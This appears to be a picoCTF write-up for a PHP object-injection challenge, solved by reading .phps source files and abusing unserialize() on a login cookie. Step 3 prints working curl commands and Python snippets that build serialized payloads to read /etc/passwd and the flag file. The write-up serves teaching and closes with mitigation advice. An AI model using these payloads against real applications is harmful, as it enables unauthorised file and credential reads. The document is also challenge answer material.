Description
Try to recover the flag from this PHP web application. Start with /robots.txt.
Setup
Probe common PHP paths and read /robots.txt for hints.
curl http://<server>/robots.txtcurl -I http://<server>/index.phpcurl -I http://<server>/cookie.phpcurl -I http://<server>/admin.phpSolution
Walk me through it- Step 1Discover source files via .phps extensionrobots.txt typically lists Disallow: entries pointing at sensitive paths. Here it hints at .phps source-disclosure files. Request index.phps to see the source of index.php.bash
curl http://<server>/robots.txtbashcurl http://<server>/index.phpsbashcurl http://<server>/authentication.phpsLearn more
The .phps extension is an Apache configuration for serving PHP source code with syntax highlighting instead of executing it. When misconfigured, it exposes the entire source code of PHP applications. This is a common misconfiguration that attackers check early in web application recon. See web bug patterns for similar source-disclosure tricks.
- Step 2Identify the unsafe unserialize() callauthentication.phps shows unserialize($_COOKIE['login']). The same file (or index.phps) defines an access_log class whose __toString() reads the file at $this->log_file. That pairing is a PHP object-injection gadget.
Learn more
PHP object injection occurs when user-controlled data is passed to
unserialize(). The serialized format encodes the class name and properties of objects, so an attacker can craft a string that instantiates any class defined in the application with arbitrary property values.What triggers __toString(). The magic method runs whenever PHP needs the object as a string:
echo $obj;- String concatenation:
"hello " . $obj - Double-quoted interpolation:
"value: $obj" - Implicit cast in
strlen(),strpos(), comparison with a string, etc.
Other useful magic methods to grep for:
__destruct()(fires when the object is garbage-collected),__wakeup()(fires immediately on unserialize),__call()/__get()/__set()(property access). - Step 3Craft the serialized access_log payloadPHP serialization spells out byte counts: O:<len>:"<class>":<n>:{<props>}. Strings: s:<len>:"<value>";. For class access_log (9 chars) with one property log_file pointing at ../flag (7 chars): O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";}.bash
# Verify the path first with a known file:pythonpython3 <<'PY' import base64, urllib.parse payload = b'O:9:"access_log":1:{s:8:"log_file";s:11:"/etc/passwd";}' print(urllib.parse.quote(base64.b64encode(payload))) PYbashcurl http://<server>/authentication.php --cookie "login=<encoded>"bash# Then swap to the flag once the read primitive is confirmed:pythonpython3 <<'PY' import base64, urllib.parse payload = b'O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";}' print(urllib.parse.quote(base64.b64encode(payload))) PYLearn more
Byte format walkthrough. Decoding the payload field by field:
O:9:"access_log":1:{s:8:"log_file";s:7:"../flag";} ^ ^ ^^^^^^^^^^^^^ ^ ^ ^ ^^^^^^^^^^ ^^^^^^^^^^ | | | | | | | value of property (length 7) | | | | | | property name (length 8) | | | | | string property type | | | | count of property index entries (1 prop) | | | number of properties (1) | | class name (length 9) | Object marker Type tag (Object)Why probe a known file first. If
../flagdoesn't resolve, the serialization parsed but the path was wrong, and you'll see no useful output and won't know which step failed. Probe with/etc/passwd(always present, distinctive output starting withroot:x:0:0:) to confirm the read primitive works, then switch to the flag path. Other useful candidates:/proc/self/cwd/flag,/var/www/html/flag.txt, the application's config file.Mitigation. Never call
unserialize()on user-supplied data. Use JSON for data exchange. If serialization is necessary, sign the blob with HMAC and reject unsigned input.
Flag
picoCTF{...}
PHP unserialize() on cookie data is a critical vulnerability: __toString runs when the object is used as a string, which the gadget class abuses for arbitrary file reads.